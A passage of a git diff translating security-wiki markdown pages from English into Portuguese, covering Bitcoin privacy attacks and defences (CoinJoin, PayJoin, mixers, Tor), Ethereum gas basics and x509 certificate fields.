+Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos Bitcoin.
 
 ## CoinJoin
 
-**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
+**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
 
-Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
 
-For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
+Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante na Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
 
 ## PayJoin
 
-A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
-
+Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem as características de saídas iguais distintivas do CoinJoin. Isso torna extremamente difícil a detecção e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
 ```plaintext
 2 btc --> 3 btc
 5 btc     4 btc
 ```
+Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin.
 
-Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
+**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
 
-**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
+# Melhores Práticas para Privacidade em Criptomoedas
 
-# Best Practices for Privacy in Cryptocurrencies
+## **Técnicas de Sincronização de Carteiras**
 
-## **Wallet Synchronization Techniques**
+Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
 
-To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
+- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
+- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
 
-- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
-- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
+## **Utilizando Tor para Anonimato**
 
-## **Utilizing Tor for Anonymity**
+Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para mascarar seu endereço IP, melhorando a privacidade ao interagir com a rede.
 
-Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
+## **Prevenindo Reutilização de Endereços**
 
-## **Preventing Address Reuse**
+Para proteger a privacidade, é vital usar um novo endereço para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por meio de seu design.
 
-To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
+## **Estratégias para Privacidade de Transações**
 
-## **Strategies for Transaction Privacy**
+- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
+- **Evitar troco**: Optar por transações que não requerem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
+- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
 
-- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
-- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
-- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
+# **Monero: Um Farol de Anonimato**
 
-# **Monero: A Beacon of Anonymity**
+Monero aborda a necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
 
-Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
+# **Ethereum: Gas e Transações**
 
-# **Ethereum: Gas and Transactions**
+## **Entendendo Gas**
 
-## **Understanding Gas**
+Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
 
-Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
+## **Executando Transações**
 
-## **Executing Transactions**
+Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
 
-Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
+Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
 
-These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
-
-## References
+## Referências
 
 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
 - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md
index 71b79f58f..fe8a1c116 100644
--- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md
+++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md
@@ -1,180 +1,176 @@
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Concepts
+## Conceitos Básicos
 
-- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
-- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
-- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
-  - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
-- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
-- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
+- **Smart Contracts** são definidos como programas que executam em uma blockchain quando certas condições são atendidas, automatizando a execução de acordos sem intermediários.
+- **Decentralized Applications (dApps)** se baseiam em smart contracts, apresentando uma interface amigável e um back-end transparente e auditável.
+- **Tokens & Coins** diferenciam onde coins servem como dinheiro digital, enquanto tokens representam valor ou propriedade em contextos específicos.
+- **Utility Tokens** concedem acesso a serviços, e **Security Tokens** significam propriedade de ativos.
+- **DeFi** significa Finanças Descentralizadas, oferecendo serviços financeiros sem autoridades centrais.
+- **DEX** e **DAOs** referem-se a Plataformas de Troca Descentralizadas e Organizações Autônomas Descentralizadas, respectivamente.
 
-## Consensus Mechanisms
+## Mecanismos de Consenso
 
-Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
+Mecanismos de consenso garantem validações de transações seguras e acordadas na blockchain:
 
-- **Proof of Work (PoW)** relies on computational power for transaction verification.
-- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
+- **Proof of Work (PoW)** depende de poder computacional para verificação de transações.
+- **Proof of Stake (PoS)** exige que validadores mantenham uma certa quantidade de tokens, reduzindo o consumo de energia em comparação ao PoW.
 
-## Bitcoin Essentials
+## Essenciais do Bitcoin
 
-### Transactions
+### Transações
 
-Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
+Transações de Bitcoin envolvem a transferência de fundos entre endereços. As transações são validadas através de assinaturas digitais, garantindo que apenas o proprietário da chave privada possa iniciar transferências.
 
-#### Key Components:
+#### Componentes Chave:
 
-- **Multisignature Transactions** require multiple signatures to authorize a transaction.
-- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
+- **Transações Multisignature** requerem múltiplas assinaturas para autorizar uma transação.
+- As transações consistem em **inputs** (fonte de fundos), **outputs** (destino), **fees** (pagas aos mineradores) e **scripts** (regras da transação).
 
 ### Lightning Network
 
-Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
+Tem como objetivo melhorar a escalabilidade do Bitcoin permitindo múltiplas transações dentro de um canal, transmitindo apenas o estado final para a blockchain.
 
-## Bitcoin Privacy Concerns
+## Preocupações com a Privacidade do Bitcoin
 
-Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
+Ataques à privacidade, como **Common Input Ownership** e **UTXO Change Address Detection**, exploram padrões de transação. Estratégias como **Mixers** e **CoinJoin** melhoram a anonimidade ao obscurecer os vínculos de transação entre os usuários.
 
-## Acquiring Bitcoins Anonymously
+## Adquirindo Bitcoins Anonimamente
 
-Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
+Métodos incluem trocas em dinheiro, mineração e uso de mixers. **CoinJoin** mistura múltiplas transações para complicar a rastreabilidade, enquanto **PayJoin** disfarça CoinJoins como transações regulares para maior privacidade.
 
-# Bitcoin Privacy Atacks
+# Ataques à Privacidade do Bitcoin
 
-# Summary of Bitcoin Privacy Attacks
+# Resumo dos Ataques à Privacidade do Bitcoin
 
-In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
+No mundo do Bitcoin, a privacidade das transações e a anonimidade dos usuários são frequentemente assuntos de preocupação. Aqui está uma visão simplificada de vários métodos comuns pelos quais atacantes podem comprometer a privacidade do Bitcoin.
 
-## **Common Input Ownership Assumption**
+## **Assunção de Propriedade de Input Comum**
 
-It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
+É geralmente raro que inputs de diferentes usuários sejam combinados em uma única transação devido à complexidade envolvida. Assim, **dois endereços de input na mesma transação são frequentemente assumidos como pertencentes ao mesmo proprietário**.
 
-## **UTXO Change Address Detection**
+## **Detecção de Endereço de Troca UTXO**
 
-A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
+Um UTXO, ou **Unspent Transaction Output**, deve ser totalmente gasto em uma transação. Se apenas uma parte dele for enviada para outro endereço, o restante vai para um novo endereço de troca. Observadores podem assumir que este novo endereço pertence ao remetente, comprometendo a privacidade.
 
-### Example
+### Exemplo
 
-To mitigate this, mixing services or using multiple addresses can help obscure ownership.
+Para mitigar isso, serviços de mistura ou o uso de múltiplos endereços podem ajudar a obscurecer a propriedade.
 
-## **Social Networks & Forums Exposure**
+## **Exposição em Redes Sociais e Fóruns**
 
-Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
+Usuários às vezes compartilham seus endereços de Bitcoin online, tornando **fácil vincular o endereço ao seu proprietário**.
 
-## **Transaction Graph Analysis**
+## **Análise de Gráfico de Transações**
 
-Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
+Transações podem ser visualizadas como gráficos, revelando potenciais conexões entre usuários com base no fluxo de fundos.
 
-## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
+## **Heurística de Input Desnecessário (Heurística de Troca Ótima)**
 
-This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
-
-### Example
+Esta heurística é baseada na análise de transações com múltiplos inputs e outputs para adivinhar qual output é a troca retornando ao remetente.
 
+### Exemplo
 ```bash
 2 btc --> 4 btc
 3 btc     1 btc
 ```
+Se adicionar mais entradas faz com que a saída de mudança seja maior do que qualquer entrada única, isso pode confundir a heurística.
 
-If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
+## **Reutilização Forçada de Endereço**
 
-## **Forced Address Reuse**
+Os atacantes podem enviar pequenas quantias para endereços previamente utilizados, esperando que o destinatário combine essas quantias com outras entradas em transações futuras, ligando assim os endereços.
 
-Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
+### Comportamento Correto da Carteira
 
-### Correct Wallet Behavior
+As carteiras devem evitar usar moedas recebidas em endereços já utilizados e vazios para prevenir esse vazamento de privacidade.
 
-Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
+## **Outras Técnicas de Análise de Blockchain**
 
-## **Other Blockchain Analysis Techniques**
+- **Quantias de Pagamento Exatas:** Transações sem troco são provavelmente entre dois endereços pertencentes ao mesmo usuário.
+- **Números Redondos:** Um número redondo em uma transação sugere que é um pagamento, com a saída não redonda provavelmente sendo o troco.
+- **Impressão Digital de Carteira:** Diferentes carteiras têm padrões únicos de criação de transações, permitindo que analistas identifiquem o software utilizado e potencialmente o endereço de troco.
+- **Correlações de Quantidade e Tempo:** Divulgar horários ou quantias de transações pode tornar as transações rastreáveis.
 
-- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
-- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
-- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
-- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
+## **Análise de Tráfego**
 
-## **Traffic Analysis**
+Ao monitorar o tráfego da rede, os atacantes podem potencialmente vincular transações ou blocos a endereços IP, comprometendo a privacidade do usuário. Isso é especialmente verdadeiro se uma entidade operar muitos nós Bitcoin, aumentando sua capacidade de monitorar transações.
 
-By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
+## Mais
 
-## More
+Para uma lista abrangente de ataques à privacidade e defesas, visite [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
 
-For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
+# Transações Anônimas de Bitcoin
 
-# Anonymous Bitcoin Transactions
+## Formas de Obter Bitcoins Anonimamente
 
-## Ways to Get Bitcoins Anonymously
+- **Transações em Dinheiro**: Adquirir bitcoin através de dinheiro.
+- **Alternativas em Dinheiro**: Comprar cartões-presente e trocá-los online por bitcoin.
+- **Mineração**: O método mais privado para ganhar bitcoins é através da mineração, especialmente quando feito sozinho, pois pools de mineração podem conhecer o endereço IP do minerador. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
+- **Roubo**: Teoricamente, roubar bitcoin poderia ser outro método para adquiri-lo anonimamente, embora seja ilegal e não recomendado.
 
-- **Cash Transactions**: Acquiring bitcoin through cash.
-- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
-- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
-- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
+## Serviços de Mistura
 
-## Mixing Services
-
-By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
+Ao usar um serviço de mistura, um usuário pode **enviar bitcoins** e receber **bitcoins diferentes em troca**, o que dificulta o rastreamento do proprietário original. No entanto, isso requer confiança no serviço para não manter registros e realmente devolver os bitcoins. Opções alternativas de mistura incluem cassinos Bitcoin.
 
 ## CoinJoin
 
-**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
+**CoinJoin** mescla várias transações de diferentes usuários em uma só, complicando o processo para quem tenta combinar entradas com saídas. Apesar de sua eficácia, transações com tamanhos de entrada e saída únicos ainda podem ser potencialmente rastreadas.
 
-Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
+Transações de exemplo que podem ter usado CoinJoin incluem `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` e `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
 
-For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
+Para mais informações, visite [CoinJoin](https://coinjoin.io/en). Para um serviço semelhante no Ethereum, confira [Tornado Cash](https://tornado.cash), que anonimiza transações com fundos de mineradores.
 
 ## PayJoin
 
-A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
-
+Uma variante do CoinJoin, **PayJoin** (ou P2EP), disfarça a transação entre duas partes (por exemplo, um cliente e um comerciante) como uma transação regular, sem a característica distintiva de saídas iguais do CoinJoin. Isso torna extremamente difícil de detectar e pode invalidar a heurística de propriedade de entrada comum usada por entidades de vigilância de transações.
 ```plaintext
 2 btc --> 3 btc
 5 btc     4 btc
 ```
+Transações como a acima poderiam ser PayJoin, melhorando a privacidade enquanto permanecem indistinguíveis de transações padrão de bitcoin.
 
-Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
+**A utilização de PayJoin poderia desestabilizar significativamente os métodos tradicionais de vigilância**, tornando-se um desenvolvimento promissor na busca pela privacidade transacional.
 
-**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
+# Melhores Práticas para Privacidade em Criptomoedas
 
-# Best Practices for Privacy in Cryptocurrencies
+## **Técnicas de Sincronização de Carteiras**
 
-## **Wallet Synchronization Techniques**
+Para manter a privacidade e segurança, sincronizar carteiras com a blockchain é crucial. Dois métodos se destacam:
 
-To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
+- **Nó completo**: Ao baixar toda a blockchain, um nó completo garante máxima privacidade. Todas as transações já realizadas são armazenadas localmente, tornando impossível para adversários identificar quais transações ou endereços o usuário está interessado.
+- **Filtragem de blocos do lado do cliente**: Este método envolve a criação de filtros para cada bloco na blockchain, permitindo que carteiras identifiquem transações relevantes sem expor interesses específicos a observadores da rede. Carteiras leves baixam esses filtros, buscando blocos completos apenas quando uma correspondência com os endereços do usuário é encontrada.
 
-- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
-- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
+## **Utilizando Tor para Anonimato**
 
-## **Utilizing Tor for Anonymity**
+Dado que o Bitcoin opera em uma rede peer-to-peer, é recomendado usar Tor para ocultar seu endereço IP, melhorando a privacidade ao interagir com a rede.
 
-Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
+## **Prevenindo Reutilização de Endereços**
 
-## **Preventing Address Reuse**
+Para proteger a privacidade, é vital usar um novo endereço para cada transação. Reutilizar endereços pode comprometer a privacidade ao vincular transações à mesma entidade. Carteiras modernas desencorajam a reutilização de endereços por meio de seu design.
 
-To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
+## **Estratégias para Privacidade de Transações**
 
-## **Strategies for Transaction Privacy**
+- **Múltiplas transações**: Dividir um pagamento em várias transações pode obscurecer o valor da transação, frustrando ataques à privacidade.
+- **Evitar troco**: Optar por transações que não requerem saídas de troco melhora a privacidade ao interromper métodos de detecção de troco.
+- **Múltiplas saídas de troco**: Se evitar troco não for viável, gerar múltiplas saídas de troco ainda pode melhorar a privacidade.
 
-- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
-- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
-- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
+# **Monero: Um Farol de Anonimato**
 
-# **Monero: A Beacon of Anonymity**
+Monero atende à necessidade de anonimato absoluto em transações digitais, estabelecendo um alto padrão para a privacidade.
 
-Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
+# **Ethereum: Gas e Transações**
 
-# **Ethereum: Gas and Transactions**
+## **Entendendo Gas**
 
-## **Understanding Gas**
+Gas mede o esforço computacional necessário para executar operações no Ethereum, precificado em **gwei**. Por exemplo, uma transação que custa 2.310.000 gwei (ou 0,00231 ETH) envolve um limite de gas e uma taxa base, com uma gorjeta para incentivar os mineradores. Os usuários podem definir uma taxa máxima para garantir que não paguem a mais, com o excesso reembolsado.
 
-Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
+## **Executando Transações**
 
-## **Executing Transactions**
+Transações no Ethereum envolvem um remetente e um destinatário, que podem ser endereços de usuário ou de contrato inteligente. Elas requerem uma taxa e devem ser mineradas. As informações essenciais em uma transação incluem o destinatário, a assinatura do remetente, o valor, dados opcionais, limite de gas e taxas. Notavelmente, o endereço do remetente é deduzido da assinatura, eliminando a necessidade de incluí-lo nos dados da transação.
 
-Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
+Essas práticas e mecanismos são fundamentais para qualquer pessoa que deseje se envolver com criptomoedas enquanto prioriza a privacidade e a segurança.
 
-These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
-
-## References
+## Referências
 
 - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
 - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
diff --git a/src/crypto-and-stego/certificates.md b/src/crypto-and-stego/certificates.md
index d0c4ad006..419673287 100644
--- a/src/crypto-and-stego/certificates.md
+++ b/src/crypto-and-stego/certificates.md
@@ -1,47 +1,38 @@
-# Certificates
+# Certificados
 
 {{#include ../banners/hacktricks-training.md}}
 
-

+## O que é um Certificado
 
-\
-Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
-Get Access Today:
+Um **certificado de chave pública** é uma ID digital usada em criptografia para provar que alguém possui uma chave pública. Ele inclui os detalhes da chave, a identidade do proprietário (o sujeito) e uma assinatura digital de uma autoridade confiável (o emissor). Se o software confia no emissor e a assinatura é válida, a comunicação segura com o proprietário da chave é possível.
 
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
+Os certificados são emitidos principalmente por [autoridades certificadoras](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) em uma [infraestrutura de chave pública](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Outro método é a [rede de confiança](https://en.wikipedia.org/wiki/Web_of_trust), onde os usuários verificam diretamente as chaves uns dos outros. O formato comum para certificados é [X.509](https://en.wikipedia.org/wiki/X.509), que pode ser adaptado para necessidades específicas conforme descrito na RFC 5280.
 
-## What is a Certificate
+## Campos Comuns x509
 
-A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible.
+### **Campos Comuns em Certificados x509**
 
-Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280.
+Em certificados x509, vários **campos** desempenham papéis críticos na garantia da validade e segurança do certificado. Aqui está uma análise desses campos:
 
-## x509 Common Fields
+- **Número da Versão** significa a versão do formato x509.
+- **Número de Série** identifica exclusivamente o certificado dentro do sistema de uma Autoridade Certificadora (CA), principalmente para rastreamento de revogação.
+- O **Campo Subject** representa o proprietário do certificado, que pode ser uma máquina, um indivíduo ou uma organização. Inclui identificação detalhada, como:
+- **Nome Comum (CN)**: Domínios cobertos pelo certificado.
+- **País (C)**, **Localidade (L)**, **Estado ou Província (ST, S ou P)**, **Organização (O)** e **Unidade Organizacional (OU)** fornecem detalhes geográficos e organizacionais.
+- **Nome Distinto (DN)** encapsula a identificação completa do sujeito.
+- **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Subject para a CA.
+- O **Período de Validade** é marcado por timestamps **Not Before** e **Not After**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
+- A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
+- As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
 
-### **Common Fields in x509 Certificates**
-
-In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields:
-
-- **Version Number** signifies the x509 format's version.
-- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking.
-- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as:
-  - **Common Name (CN)**: Domains covered by the certificate.
-  - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details.
-  - **Distinguished Name (DN)** encapsulates the full subject identification.
-- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA.
-- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date.
-- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key.
-- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application.
-
-#### **Key Usage and Extensions**
-
-- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment.
-- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication.
-- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively.
-- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys.
-- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status.
-- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate.
+#### **Uso de Chave e Extensões**
 
+- **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
+- **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
+- **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
